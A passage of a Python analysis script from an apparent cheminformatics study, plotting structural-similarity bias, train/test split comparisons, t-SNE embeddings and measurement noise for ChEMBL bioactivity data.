fontsize=int(FONTSIZE*1.5))\n\n fig.tight_layout()\n txt = _table(\n rows=np.array([target_name(u) for u in target_uids]),\n cols=np.array(labels),\n content=np.vectorize(lambda f: \"{:.3f}\".format(f))(medians),\n delimiter='\\t'\n )\n return fig, txt\n\ndef density_bias(target_uids):\n def _distance_to_nth_neighbour(kernel, value):\n result = []\n for row in reversed(np.sort(kernel, axis=0)):\n result.append(spearman(row, value))\n return np.array(result, dtype=np.float)\n def _n_neighbours_in_radius(kernel, value):\n result = []\n lsp = np.linspace(0,1,201)\n for thr in lsp:\n x = np.sum(kernel>=thr, axis=1)\n result.append(spearman(x, value))\n return lsp, np.array(result, dtype=np.float)\n def _stationary(kernel, value, n=None):\n if n is not None:\n mask = np.zeros(kernel.shape, dtype=np.bool)\n for i, row in enumerate(kernel):\n mask[i,np.argsort(row)[-n:]] = True\n kernel = 0.001 * np.ones(kernel.shape, dtype=np.float)\n kernel[mask] = 1.\n _a = kernel/kernel.sum(axis=0).reshape(1,-1)\n a = _a - np.eye(len(value))\n b = np.zeros(len(value)+1)\n a = np.concatenate((a, np.ones(len(value)).reshape(1,-1)), axis=0)\n b[-1] = 1.\n x = np.linalg.lstsq(a,b)[0]\n return spearman(x, value)\n fig = plt.figure(figsize=(8, 4*len(target_uids)))\n for i, target_uid in enumerate(target_uids):\n ds = mean_warszycki_logki(\n target_uid=target_uid,\n chembl_filename=\"chembl_24.db\",\n threshold=None,\n include_earliest_year=\"all_bioactivity_records\",\n ic50_conversion_strategy=\"all_relations_half_ic50\",\n fit_ic50=False,\n )[\"final\"]\n c_doc_uid = Counter(ds.data[\"doc_uid\"])\n x = np.vectorize(lambda uid: c_doc_uid[uid])(ds.data[\"doc_uid\"])\n y = value = to_pki(ds.data[\"value\"])\n kernel = Benchmarks2018StructuralSimilarity(source=ds).data[\"kernel\"]\n result1 = _distance_to_nth_neighbour(kernel, value)\n lsp2, result2 = _n_neighbours_in_radius(kernel, value)\n _min, _max = min(np.nanmin(result1), np.nanmin(result2)), max(np.nanmax(result1), np.nanmax(result2))\n\n ax = fig.add_subplot(len(target_uids),2,2*i+1)\n x = np.arange(len(result1))\n mask = np.logical_not(np.isnan(result1))\n ax.plot(x[mask], result1[mask])\n ax.set_xlabel(\"Distance-sorted neighbours\")\n ax.set_ylabel(target_name(target_uid) + \"\\n\\nSpearman's Rho\")\n ax.set_ylim((_min-.05, _max+.05))\n\n ax = fig.add_subplot(len(target_uids),2,2*i+2)\n mask = np.logical_not(np.isnan(result2))\n ax.plot(lsp2[mask], result2[mask])\n ax.set_xlabel(\"Similarity threshold\")\n ax.set_ylabel(\"Spearman's Rho\")\n ax.set_ylim((_min-.05, _max+.05))\n\n fig.tight_layout()\n return fig\n\ndef similar_compounds(target_uid, n_top, n_bottom, n_random, seed=43):\n ds = mean_warszycki_logki(\n target_uid=target_uid,\n chembl_filename=\"chembl_24.db\",\n threshold=None,\n include_earliest_year=\"all_bioactivity_records\",\n ic50_conversion_strategy=\"all_relations_half_ic50\",\n fit_ic50=False,\n )[\"final\"]\n uid = ds.data[\"uid\"]\n kernel = Benchmarks2018StructuralSimilarity(source=ds).data[\"kernel\"]\n ix, iy = np.tril_indices(kernel.shape[0], -1)\n idx = np.argsort(kernel[ix, iy])\n l = len(idx)\n idx = idx[np.sort(np.concatenate((\n np.arange(n_bottom),\n np.arange(l-n_top, l),\n n_bottom + np.random.RandomState(seed=seed).choice(\n l - n_top - n_bottom,\n size=n_random,\n replace=False,\n )\n )))]\n ix, iy = ix[idx], iy[idx]\n uid1, uid2 = uid[ix], uid[iy]\n sim = np.vectorize(lambda f: \"~{:.4f}\".format(f))(kernel[ix, iy])\n arr = np.stack((uid1, uid2, sim), axis=1)\n header = np.array([\"uid\", \"uid\", \"similarity\"])\n return _arr_header_to_html(arr, header)\n\ndef same_paper_cross_paper(target_uids):\n fig = plt.figure(figsize=(len(target_uids)*4, 4))\n for i, target_uid in enumerate(target_uids):\n d = Benchmarks2018StructuralSimilarity(source=mean_warszycki_logki(\n target_uid=target_uid,\n chembl_filename=\"chembl_24.db\",\n threshold=None,\n include_earliest_year=\"all_bioactivity_records\",\n ic50_conversion_strategy=\"all_relations_half_ic50\",\n fit_ic50=True,\n )[\"final\"])\n kernel = d.data[\"kernel\"]\n same_paper = d.data[\"doc_uid\"].reshape(1,-1) == d.data[\"doc_uid\"].reshape(-1,1)\n cross_paper = np.logical_not(same_paper)\n same_paper[range(len(same_paper)),range(len(same_paper))] = False\n ax = fig.add_subplot(1,len(target_uids),i+1)\n ax.hist(kernel.ravel()[same_paper.ravel()], bins=43, label=\"same paper\", alpha=.5, density=True)\n ax.hist(kernel.ravel()[cross_paper.ravel()], bins=43, label=\"cross paper\", alpha=.5, density=True)\n ax.legend()\n ax.set_xlabel(\"Structural similarity\")\n ax.set_title(target_name(target_uid))\n fig.tight_layout()\n return fig\n\ndef year_structural_pareto(target_uids):\n @njit\n def _first(arr, x):\n for i in range(len(arr)):\n if arr[i] == x:\n return i\n raise ValueError()\n result = []\n for i, target_uid in enumerate(target_uids):\n result.append(\"TARGET: {}\".format(target_name(target_uid)))\n result.append(\"\")\n d = Benchmarks2018StructuralSimilarity(source=mean_warszycki_logki(\n target_uid=target_uid,\n chembl_filename=\"chembl_24.db\",\n threshold=None,\n include_earliest_year=\"all_bioactivity_records\",\n ic50_conversion_strategy=\"all_relations_half_ic50\",\n fit_ic50=True,\n )[\"final\"])\n kernel = d.data[\"kernel\"]\n year = d.data[\"year\"]\n idx = np.flip(np.argsort(kernel.ravel()))\n delta_year = np.abs(year.reshape(-1,1) - year.reshape(1,-1)).ravel()[idx]\n for dy in sorted(set(delta_year.ravel())-set([0,0.])):\n _idx = idx[_first(delta_year, dy)]\n i, j = _idx // kernel.shape[0], _idx % kernel.shape[0]\n result.append(\"SIMILARITY: {:.3f}, DELTA YEAR: {}\".format(\n kernel[i,j],\n int(dy)\n ))\n for m in (i,j):\n result.append(\"UID: {}, SMILES: {}, VALUE: {}, YEAR: {}, DOC_UID: {}\".format(\n d.data[\"uid\"][m],\n d.data[\"smiles\"][m],\n d.data[\"value\"][m],\n int(d.data[\"year\"][m]),\n d.data[\"doc_uid\"][m],\n ))\n result.append(\"\")\n return '\\n'.join(result) + '\\n'\n\ndef aaaiiaii(value, groups, kernel, time_split):\n from numba import jit, njit\n result_all = np.zeros((kernel.size, 4), dtype=np.float)\n result_all_groups = np.zeros((kernel.size, 4), dtype=np.float)\n result_all_counter = np.zeros(4, dtype=np.int)\n result_nearest = np.empty((kernel.shape[0],2), dtype=np.float)\n result_nearest.fill(np.nan)\n @njit\n def f(value, groups, kernel, result_all, result_all_groups, result_all_counter, result_nearest):\n for i in range(kernel.shape[0]):\n for j in range(kernel.shape[1]):\n if groups[i] > groups[j] or (groups[i] < groups[j] and not time_split): # test to train\n idx = 3-(2*int(value[i])+int(value[j])) # aa ai ia ii\n result_all[result_all_counter[idx], idx] = kernel[i,j]\n result_all_groups[result_all_counter[idx], idx] = groups[i]\n result_all_counter[idx] += 1\n if np.isnan(result_nearest[i, value[j]]) or kernel[i,j] > result_nearest[i, value[j]]:\n result_nearest[i, value[j]] = kernel[i,j]\n f(value, groups, kernel, result_all, result_all_groups, result_all_counter, result_nearest)\n return {\n \"aa\": (result_all[:result_all_counter[0],0], result_all_groups[:result_all_counter[0],0]),\n \"ai\": (result_all[:result_all_counter[1],1], result_all_groups[:result_all_counter[1],1]),\n \"ia\": (result_all[:result_all_counter[2],2], result_all_groups[:result_all_counter[2],2]),\n \"ii\": (result_all[:result_all_counter[3],3], result_all_groups[:result_all_counter[3],3]),\n \"nearest_i\": result_nearest[:,0],\n \"nearest_a\": result_nearest[:,1],\n }\n\ndef splits_analysis(target_uids):\n def plot(value, groups, kernel, axes, split_label, time_split=False):\n dct = aaaiiaii(value, groups, kernel, time_split)\n\n not_nan_mask = np.logical_not(np.logical_or(\n np.isnan(dct[\"nearest_a\"]),\n np.isnan(dct[\"nearest_i\"]),\n ))\n aa, ai, ia, ii = (\n dct[\"nearest_a\"][not_nan_mask][value[not_nan_mask]==1],\n dct[\"nearest_i\"][not_nan_mask][value[not_nan_mask]==1],\n dct[\"nearest_a\"][not_nan_mask][value[not_nan_mask]==0],\n dct[\"nearest_i\"][not_nan_mask][value[not_nan_mask]==0],\n )\n\n histtype, linewidth = \"step\", 3\n axes[0].hist(\n aa, bins=43, label=\"AA\",\n density=True, histtype=histtype, linewidth=linewidth,\n )\n axes[0].hist(\n ai, bins=43, label=\"AI\",\n density=True, histtype=histtype, linewidth=linewidth,\n )\n axes[0].hist(\n ia, bins=43, label=\"IA\",\n density=True, histtype=histtype, linewidth=linewidth,\n )\n axes[0].hist(\n ii, bins=43, label=\"II\",\n density=True, histtype=histtype, linewidth=linewidth,\n )\n axes[0].set_xlim((0.,1.))\n axes[0].set_xlabel(\"Nearest neighbour similarity\")\n axes[0].set_ylabel(split_label + '\\n')\n axes[0].legend()\n\n S = 8\n axes[1].scatter(ia, ii, label=\"inactive\", c=\"green\", s=S, alpha=.3)\n axes[1].scatter(aa, ai, label=\"active\", c=\"xkcd:sky blue\", s=S, alpha=.3)\n axes[1].scatter(ia.mean(), ii.mean(), facecolors=\"none\", edgecolors='red', s=150)\n axes[1].scatter(ia.mean(), ii.mean(), c=\"green\", marker=\"x\", s=43)\n axes[1].scatter(aa.mean(), ai.mean(), facecolors=\"none\", edgecolors=\"red\", s=150)\n axes[1].scatter(aa.mean(), ai.mean(), c=\"blue\", marker=\"x\", s=43)\n axes[1].plot([0.2, 0.9], [0.2, 0.9])\n axes[1].set_aspect(\"equal\")\n axes[1].legend()\n axes[1].set_xlabel(\"Nearest active similarity\")\n axes[1].set_ylabel(\"Nearest inactive similarity\")\n\n return [np.mean(x) for x in (aa, ai, ia, ii)]\n\n figs = []\n muv_result = []\n for target_uid in target_uids:\n muv_result.append(target_name(target_uid))\n d = mean_warszycki_logki(\n target_uid=target_uid,\n chembl_filename=\"chembl_24.db\",\n threshold=2.,\n include_earliest_year=\"all_bioactivity_records\",\n ic50_conversion_strategy=\"all_relations_half_ic50\",\n fit_ic50=True,\n )[\"final\"]\n value = d.data[\"value\"]\n kd = Benchmarks2018StructuralSimilarity(source=d)\n kernel = kd.data[\"kernel\"]\n bac_groups = BalancedAgglomerativeClustering(\n source=kd,\n kernel=\"kernel\",\n n_groups=5,\n ).data[\"groups\"]\n cv_groups = CrossValidation(\n source=d,\n n_groups=5,\n seed=43,\n ).data[\"groups\"]\n spectral_groups = SpectralClustering(\n source=kd, \n kernel=\"kernel\",\n n_groups=5,\n ).data[\"groups\"]\n scaffold_groups = MurckoScaffoldSplit(\n source=d,\n generic=True,\n isomeric=False,\n ).data[\"groups\"]\n paper_groups = PaperSplit(source=d).data[\"groups\"]\n year_groups = d.data[\"year\"]\n fig = plt.figure(figsize=(8,24))\n fig.axes_counter = 0\n def _axes():\n axes = []\n for _ in range(2):\n fig.axes_counter += 1\n axes.append(fig.add_subplot(6,2,fig.axes_counter))\n return axes\n for groups, split_label in (\n (paper_groups, \"paper split\"),\n (bac_groups, \"balanced agglomerative clustering\"),\n (spectral_groups, \"spectral clustering\"),\n (cv_groups, \"cross validation\"),\n (scaffold_groups, \"scaffold split\"),\n ):\n aa, ai, ia, ii = plot(value, groups, kernel, _axes(), split_label)\n muv = aa - ai + ii - ia\n muv_result.append(\"{:.3f} - {:.3f} + {:.3f} - {:.3f} = {:.3f}\".format(aa, ai, ii, ia, muv))\n aa, ai, ia, ii = plot(value, year_groups, kernel, _axes(), split_label=\"time split\", time_split=True)\n muv = aa - ai + ii - ia\n muv_result.append(\"{:.3f} - {:.3f} + {:.3f} - {:.3f} = {:.3f}\".format(aa, ai, ii, ia, muv))\n fig.tight_layout()\n figs.append(fig)\n\n return tuple(['\\n'.join(muv_result)+'\\n'] + figs)\n\ndef splits_analysis_3_columns(target_uids):\n def plot(value, groups, kernel, axes, split_label, time_split=False):\n dct = aaaiiaii(value, groups, kernel, time_split)\n for k in [\"aa\", \"ai\", \"ia\", \"ii\"]:\n axes[0].hist(\n dct[k][0], bins=43, label=k.upper(),\n density=True, histtype=\"step\", linewidth=3,\n )\n axes[0].set_xlim((0.,1.))\n axes[0].set_xlabel(\"All pairs similarity\")\n axes[0].set_ylabel(split_label + '\\n')\n axes[0].legend()\n\n not_nan_mask = np.logical_not(np.logical_or(\n np.isnan(dct[\"nearest_a\"]),\n np.isnan(dct[\"nearest_i\"]),\n ))\n aa, ai, ia, ii = (\n dct[\"nearest_a\"][not_nan_mask][value[not_nan_mask]==1],\n dct[\"nearest_i\"][not_nan_mask][value[not_nan_mask]==1],\n dct[\"nearest_a\"][not_nan_mask][value[not_nan_mask]==0],\n dct[\"nearest_i\"][not_nan_mask][value[not_nan_mask]==0],\n )\n\n histtype, linewidth = \"step\", 3\n axes[1].hist(\n aa, bins=43, label=\"AA\",\n density=True, histtype=histtype, linewidth=linewidth,\n )\n axes[1].hist(\n ai, bins=43, label=\"AI\",\n density=True, histtype=histtype, linewidth=linewidth,\n )\n axes[1].hist(\n ia, bins=43, label=\"IA\",\n density=True, histtype=histtype, linewidth=linewidth,\n )\n axes[1].hist(\n ii, bins=43, label=\"II\",\n density=True, histtype=histtype, linewidth=linewidth,\n )\n axes[1].set_xlim((0.,1.))\n axes[1].set_xlabel(\"Nearest neighbour similarity\")\n axes[1].legend()\n\n S = 8\n axes[2].scatter(ia, ii, label=\"inactive\", c=\"green\", s=S, alpha=.3)\n axes[2].scatter(aa, ai, label=\"active\", c=\"xkcd:sky blue\", s=S, alpha=.3)\n axes[2].scatter(ia.mean(), ii.mean(), facecolors=\"none\", edgecolors='red', s=150)\n axes[2].scatter(ia.mean(), ii.mean(), c=\"green\", marker=\"x\", s=43)\n axes[2].scatter(aa.mean(), ai.mean(), facecolors=\"none\", edgecolors=\"red\", s=150)\n axes[2].scatter(aa.mean(), ai.mean(), c=\"blue\", marker=\"x\", s=43)\n axes[2].plot([0.2, 0.9], [0.2, 0.9])\n axes[2].set_aspect(\"equal\")\n axes[2].legend()\n axes[2].set_xlabel(\"Nearest active similarity\")\n axes[2].set_ylabel(\"Nearest inactive similarity\")\n\n return [np.mean(x) for x in (aa, ai, ia, ii)]\n\n figs = []\n muv_result = []\n for target_uid in target_uids:\n muv_result.append(target_name(target_uid))\n d = mean_warszycki_logki(\n target_uid=target_uid,\n chembl_filename=\"chembl_24.db\",\n threshold=2.,\n include_earliest_year=\"all_bioactivity_records\",\n ic50_conversion_strategy=\"all_relations_half_ic50\",\n fit_ic50=True,\n )[\"final\"]\n value = d.data[\"value\"]\n kd = Benchmarks2018StructuralSimilarity(source=d)\n kernel = kd.data[\"kernel\"]\n bac_groups = BalancedAgglomerativeClustering(\n source=kd,\n kernel=\"kernel\",\n n_groups=5,\n ).data[\"groups\"]\n cv_groups = CrossValidation(\n source=d,\n n_groups=5,\n seed=43,\n ).data[\"groups\"]\n spectral_groups = SpectralClustering(\n source=kd, \n kernel=\"kernel\",\n n_groups=5,\n ).data[\"groups\"]\n scaffold_groups = MurckoScaffoldSplit(\n source=d,\n generic=True,\n isomeric=False,\n ).data[\"groups\"]\n paper_groups = PaperSplit(source=d).data[\"groups\"]\n year_groups = d.data[\"year\"]\n fig = plt.figure(figsize=(12,24))\n fig.axes_counter = 0\n def _axes():\n axes = []\n for _ in range(3):\n fig.axes_counter += 1\n axes.append(fig.add_subplot(6,3,fig.axes_counter))\n return axes\n for groups, split_label in (\n (paper_groups, \"paper split\"),\n (bac_groups, \"balanced agglomerative clustering\"),\n (spectral_groups, \"spectral clustering\"),\n (cv_groups, \"cross validation\"),\n (scaffold_groups, \"scaffold split\"),\n ):\n aa, ai, ia, ii = plot(value, groups, kernel, _axes(), split_label)\n muv = aa - ai + ii - ia\n muv_result.append(\"{:.3f} - {:.3f} + {:.3f} - {:.3f} = {:.3f}\".format(aa, ai, ii, ia, muv))\n aa, ai, ia, ii = plot(value, year_groups, kernel, _axes(), split_label=\"time split\", time_split=True)\n muv = aa - ai + ii - ia\n muv_result.append(\"{:.3f} - {:.3f} + {:.3f} - {:.3f} = {:.3f}\".format(aa, ai, ii, ia, muv))\n fig.tight_layout()\n figs.append(fig)\n\n return tuple(['\\n'.join(muv_result)+'\\n'] + figs)\n\ndef splits_analysis_2(target_uids):\n fig = plt.figure(figsize=(4*(len(target_uids)+1),4))\n for i, target_uid in enumerate(target_uids):\n d = mean_warszycki_logki(\n target_uid=target_uid,\n chembl_filename=\"chembl_24.db\",\n threshold=2.,\n include_earliest_year=\"all_bioactivity_records\",\n ic50_conversion_strategy=\"all_relations_half_ic50\",\n fit_ic50=True,\n )[\"final\"]\n value = d.data[\"value\"]\n kd = Benchmarks2018StructuralSimilarity(source=d)\n kernel = kd.data[\"kernel\"]\n bac_groups = BalancedAgglomerativeClustering(\n source=kd,\n kernel=\"kernel\",\n n_groups=5,\n ).data[\"groups\"]\n cv_groups = CrossValidation(\n source=d,\n n_groups=5,\n seed=43,\n ).data[\"groups\"]\n spectral_groups = SpectralClustering(\n source=kd, \n kernel=\"kernel\",\n n_groups=5,\n ).data[\"groups\"]\n scaffold_groups = MurckoScaffoldSplit(\n source=d,\n generic=True,\n isomeric=False,\n ).data[\"groups\"]\n paper_groups = PaperSplit(source=d).data[\"groups\"]\n year_groups = d.data[\"year\"]\n ax = fig.add_subplot(1,len(target_uids),i+1)\n for groups, label in (\n (paper_groups, \"paper split\"),\n (bac_groups, \"balanced agglomerative clustering\"),\n (spectral_groups, \"spectral clustering\"),\n (cv_groups, \"cross validation\"),\n (scaffold_groups, \"scaffold split\"),\n ):\n dct = aaaiiaii(value, groups, kernel, time_split=False)\n x = np.maximum(dct[\"nearest_a\"], dct[\"nearest_i\"])\n ax.hist(\n x, bins=43, label=label,\n density=True, histtype=\"step\", linewidth=1,\n )\n dct = aaaiiaii(value, year_groups, kernel, time_split=True)\n x = np.maximum(dct[\"nearest_a\"], dct[\"nearest_i\"])\n x = x[np.logical_not(np.isnan(x))]\n ax.hist(\n x, bins=43, label=\"time split\",\n density=True, histtype=\"step\", linewidth=3,\n )\n ax.set_xlabel(\"Nearest neighbour similarity\")\n ax.set_title(target_name(target_uid))\n if i == len(target_uids) - 1:\n ax.legend(fontsize=\"small\", bbox_to_anchor=(1.04,1))\n fig.tight_layout()\n return fig\n\ndef simplest_dataset_hist(mus):\n fig = plt.figure(figsize=(4*len(mus), 8))\n alpha = .6\n for i, mu in enumerate(mus):\n\n ax = fig.add_subplot(2,len(mus),i+1)\n xs = np.linspace(-4.3,4.3,437)\n ax.fill_between(\n xs, norm(loc=mu).pdf(xs),\n label='\"inactive\"', alpha=alpha,\n )\n ax.fill_between(\n xs, norm(loc=-mu).pdf(xs),\n label='\"active\"', alpha=alpha,\n )\n ax.set_xlabel(\"mean: {:.1f}\".format(mu))\n ax.set_ylim((0.,0.6))\n ax.legend()\n if i == 0:\n ax.set_ylabel(\"Normal\\n\")\n\n ax = fig.add_subplot(2,len(mus),len(mus)+i+1)\n xs = np.linspace(-2.1,2.1,437)\n ax.fill_between(\n xs, uniform(loc=mu-1, scale=2.).pdf(xs),\n label='\"inactive\"', alpha=alpha,\n )\n ax.fill_between(\n xs, uniform(loc=-mu-1, scale=2.).pdf(xs),\n label='\"active\"', alpha=alpha,\n )\n ax.set_xlabel(\"mean: {:.1f}\".format(mu))\n ax.set_ylim((0.,0.7))\n ax.legend()\n if i == 0:\n ax.set_ylabel(\"Uniform\\n\")\n\n fig.tight_layout()\n return fig\n\ndef muv_on_simplest_dataset(mus, ns):\n def dataset(mu, n_train, n_test, distr, seed=43):\n if isinstance(n_train, int):\n rng = np.random.RandomState(seed=43)\n if distr == \"normal\":\n distr = rng.normal\n acc = norm.cdf(mu)\n elif distr == \"uniform\":\n distr = lambda size: rng.uniform(size=size) * 2. - 1.\n acc = min(1., .5 + .5*abs(mu))\n else:\n raise ValueError(distr)\n tr0 = distr(size=n_train) + mu\n tr1 = distr(size=n_train) - mu\n te0 = distr(size=n_test) + mu\n te1 = distr(size=n_test) - mu\n def _dist(x,y):\n return np.abs(x.reshape(-1,1)-y.reshape(1,-1))\n aa = np.min(_dist(te1, tr1), axis=1).mean()\n ai = np.min(_dist(te1, tr0), axis=1).mean()\n ia = np.min(_dist(te0, tr1), axis=1).mean()\n ii = np.min(_dist(te0, tr0), axis=1).mean()\n return {\n \"acc\": acc,\n \"muv\": aa - ai,\n \"atomwise\": aa - ai + ii - ia,\n }\n elif n_train == \"infty\" and n_test == \"infty\":\n if distr == \"normal\":\n aa, ai, ia, ii = 0., 0., 0., 0.\n return {\n \"acc\": norm.cdf(mu),\n \"muv\": aa - ai,\n \"atomwise\": aa - ai + ii - ia,\n }\n elif distr == \"uniform\":\n aa, ai, ia, ii = 0., min(mu**2,1.), min(mu**2,1.), 0.\n return {\n \"acc\": min(1., .5 + .5*abs(mu)),\n \"muv\": aa - ai,\n \"atomwise\": aa - ai + ii - ia,\n }\n else:\n raise ValueError()\n else:\n raise ValueError()\n result_normal = np.zeros((3, len(ns), len(mus)), dtype=np.float)\n result_uniform = np.zeros((3, len(ns), len(mus)), dtype=np.float)\n for i, n in enumerate(ns):\n for j, mu in enumerate(mus):\n d = dataset(mu, n, n, \"normal\")\n result_normal[0,i,j] = d[\"acc\"]\n result_normal[1,i,j] = d[\"muv\"]\n result_normal[2,i,j] = d[\"atomwise\"]\n\n d = dataset(mu, n, n, \"uniform\")\n result_uniform[0,i,j] = d[\"acc\"]\n result_uniform[1,i,j] = d[\"muv\"]\n result_uniform[2,i,j] = d[\"atomwise\"]\n fig = plt.figure(figsize=(24,6))\n axes = [fig.add_subplot(1,4,i+1) for i in range(4)]\n alpha = .6\n s = 43\n for i, n in enumerate(ns):\n label = \"4 x {}\".format(n) if n != \"infty\" else '∞'\n\n ax = axes[0]\n ax.scatter(\n result_normal[1,i,:], result_normal[0,i,:], label=label, alpha=alpha, s=s)\n ax.set_ylabel(\"Accuracy\")\n ax.set_xlabel(\"Bias measure (MUV part)\")\n ax.set_title(\"Normal\")\n\n ax = axes[1]\n ax.scatter(\n result_normal[2,i,:], result_normal[0,i,:], label=label, alpha=alpha, s=s)\n ax.set_ylabel(\"Accuracy\")\n ax.set_xlabel(\"Bias measure\")\n ax.set_title(\"Normal\")\n\n ax = axes[2]\n ax.scatter(\n result_uniform[1,i,:], result_uniform[0,i,:], label=label, alpha=alpha, s=s)\n ax.set_ylabel(\"Accuracy\")\n ax.set_xlabel(\"Bias measure (MUV part)\")\n ax.set_title(\"Uniform\")\n\n ax = axes[3]\n ax.scatter(\n result_uniform[2,i,:], result_uniform[0,i,:], label=label, alpha=alpha, s=s)\n ax.set_ylabel(\"Accuracy\")\n ax.set_xlabel(\"Bias measure\")\n ax.set_title(\"Uniform\")\n\n [ax.legend(loc=\"lower left\", title=\"Benchmark size\", fontsize=\"small\") for ax in axes]\n fig.tight_layout()\n return fig\n\ndef splits_tsne(target_uids):\n S = 8\n fig = plt.figure(figsize=(30,4*len(target_uids)))\n counter = 0\n for target_uid in target_uids:\n d = mean_warszycki_logki(\n target_uid=target_uid,\n chembl_filename=\"chembl_24.db\",\n threshold=None,\n include_earliest_year=\"all_bioactivity_records\",\n ic50_conversion_strategy=\"all_relations_half_ic50\",\n fit_ic50=True,\n )[\"final\"]\n kd = Benchmarks2018StructuralSimilarity(source=d)\n tsne = KernelTSNE(\n source=kd,\n kernel=\"kernel\",\n n_components=2,\n perplexity=43.,\n early_exaggeration=43.,\n learning_rate=4343.,\n ).data[\"tsne\"]\n bac_groups = BalancedAgglomerativeClustering(\n source=kd,\n kernel=\"kernel\",\n n_groups=5,\n ).data[\"groups\"]\n cv_groups = CrossValidation(\n source=d,\n n_groups=5,\n seed=43,\n ).data[\"groups\"]\n spectral_groups = SpectralClustering(\n source=kd,\n kernel=\"kernel\",\n n_groups=5,\n ).data[\"groups\"]\n scaffold_groups = MurckoScaffoldSplit(\n source=d,\n generic=True,\n isomeric=False,\n ).data[\"groups\"]\n paper_groups = PaperSplit(source=d).data[\"groups\"]\n\n for c, split_label in (\n (paper_groups, \"paper split\"),\n (bac_groups, \"balanced agglomerative clustering\"),\n (spectral_groups, \"spectral clustering\"),\n (cv_groups, \"cross validation\"),\n (scaffold_groups, \"scaffold split\"),\n (d.data[\"year\"], \"time split\")):\n counter += 1\n ax = fig.add_subplot(len(target_uids),6,counter)\n a = ax.scatter(tsne.T[0], tsne.T[1], s=S, c=c)\n ax.set_xlim((-105,105))\n ax.set_ylim((-105,105))\n ax.set_aspect(\"equal\")\n ax.set_xlabel(split_label)\n if split_label == \"paper split\":\n ax.set_ylabel(target_name(target_uid) + '\\n')\n bar = fig.colorbar(a)\n bar.locator = MaxNLocator(integer=True)\n bar.update_ticks()\n fig.tight_layout()\n return fig\n\ndef noise_analysis(\n target_uids,\n delta_measurement_threshold,\n delta_measurement_upper_threshold,\n ic50_conversion_strategy,\n fit_ic50):\n fig = plt.figure(figsize=(16,len(target_uids)*4))\n N_PLOTS = 4\n counter = 0\n t1 = []\n t2 = []\n for target_uid in target_uids:\n _d = mean_warszycki_logki(\n target_uid=target_uid,\n chembl_filename=\"chembl_24.db\",\n threshold=None,\n include_earliest_year=None,\n ic50_conversion_strategy=ic50_conversion_strategy,\n fit_ic50=fit_ic50,\n )\n all_values = _d[\"data_nodes\"][-2] # threshold: None -> -2, not None -> -3\n mean_values = _d[\"final\"]\n\n count_uid = Counter(all_values.data[\"uid\"])\n how_many_samples = np.vectorize(lambda uid: count_uid[uid])(all_values.data[\"uid\"])\n\n uid_to_mean_value = dict(zip(mean_values.data[\"uid\"], mean_values.data[\"value\"]))\n a = np.vectorize(lambda uid: uid_to_mean_value[uid])(all_values.data[\"uid\"])\n b = all_values.data[\"value\"]\n\n two_measurements_same_paper = []\n two_measurements_different_paper = []\n key = lambda x: x[0]\n for k, g in groupby(sorted(zip(all_values.data[\"uid\"], all_values.data[\"smiles\"], all_values.data[\"value\"], all_values.data[\"doc_uid\"]), key=key), key):\n gu, gs, gv, gdu = zip(*g)\n if len(gu) == 2:\n if np.abs(gv[0]-gv[1]) > delta_measurement_threshold:\n if np.abs(gv[0]-gv[1]) <= delta_measurement_upper_threshold:\n if gdu[0] == gdu[1]:\n two_measurements_same_paper.append(gv)\n else:\n two_measurements_different_paper.append(gv)\n else:\n t1.append(\"TARGET: {}, UID: {}, SMILES: {}, DOC1: {}, VALUE1: {}, DOC2: {}, VALUE2: {}\".format(\n target_name(target_uid),\n gu[0],\n gs[0],\n gdu[0],\n gv[0],\n gdu[1],\n gv[1],\n ))\n\n _a = np.array(two_measurements_same_paper)\n _b = np.array(two_measurements_different_paper)\n _a = np.abs(_a[:,0]-_a[:,1])\n _b = np.abs(_b[:,0]-_b[:,1])\n\n counter += 1\n ax = fig.add_subplot(len(target_uids),N_PLOTS,counter)\n ax.hist(_a, bins=43)\n ax.set_xlabel(\"pKi abs. difference, same paper\")\n ax.set_ylabel(target_name(target_uid) + \"\\n\")\n ax.yaxis.set_major_locator(MaxNLocator(integer=True))\n\n counter += 1\n ax = fig.add_subplot(len(target_uids),N_PLOTS,counter)\n ax.hist(_b, bins=43)\n ax.set_xlabel(\"pKi abs. difference, two papers\")\n t2.append(\"TARGET UID: {}, SAME: {:.3f} [{} SAMPLES], DIFFERENT: {:.3f} [{} SAMPLES]\".format(\n target_name(target_uid),\n np.mean(np.square(_a))/2,\n len(_a),\n np.mean(np.square(_b))/2,\n len(_b),\n ))\n ax.yaxis.set_major_locator(MaxNLocator(integer=True))\n\n result = []\n for j in range(1,np.max(list(count_uid.values()))):\n mask = how_many_samples > j\n result.append(np.square(b[mask]-a[mask]).mean())\n\n counter += 1\n ax = fig.add_subplot(len(target_uids),N_PLOTS,counter)\n ax.scatter(to_pki(a), to_pki(b), s=8)\n ax.set_xlabel(\"Mean pKi\")\n ax.set_ylabel(\"Reported pKi\")\n\n counter += 1\n count_count_uid = Counter(count_uid.values())\n x = np.array([\n count_count_uid[1],\n count_count_uid[2],\n len(mean_values.data[\"uid\"])-count_count_uid[1]-count_count_uid[2],\n ])\n assert sum(x) == len(mean_values.data[\"uid\"])\n ax = fig.add_subplot(len(target_uids),N_PLOTS,counter)\n ax.bar(x=[0,1,2], height=x)\n ax.set_xticks(np.arange(3))\n ax.set_xticklabels([\"1\", \"2\", \">2\"])\n ax.set_xlabel(\"Records per SMILES\")\n ax.set_yscale(\"log\", nonposy='clip')\n\n for rect, label in zip(ax.patches, x):\n ax.text(\n rect.get_x() + rect.get_width() / 2,\n rect.get_height() + 5,\n label,\n ha='center',\n va='bottom',\n bbox=dict(\n boxstyle=\"square\",\n ec=(1., 0.5, 0.5),\n fc=(1., 0.8, 0.8),\n ),\n )\n\n fig.tight_layout()\n return fig, '\\n'.join(t1)+'\\n', '\\n'.join(t2)+'\\n'\n\ndef how_many_active_inactive(target_uids, conversion_strategies, threshold):\n result = np.empty((len(target_uids), len(conversion_strategies)), dtype=np.object)\n result.fill(\"\")\n for i, target_uid in enumerate(target_uids):\n for j, (ic50_conversion_strategy, fit_ic50, _) in enumerate(conversion_strategies):\n dct = mean_warszycki_logki(\n target_uid=target_uid,\n chembl_filename=\"chembl_24.db\",\n threshold=threshold,\n include_earliest_year=None,\n ic50_conversion_strategy=ic50_conversion_strategy,\n fit_ic50=fit_ic50,\n )\n result[i,j] = \"a:{} ia:{} p:{}\".format(\n (dct[\"final\"].data[\"value\"] == 1.).sum(),\n (dct[\"final\"].data[\"value\"] == 0.).sum(),\n len(set(dct[\"data_nodes\"][-3].data[\"doc_uid\"])),\n )\n rows = [target_name(u) for u in target_uids]\n cols = list(list(zip(*conversion_strategies))[2])\n return _table(rows, cols, result, 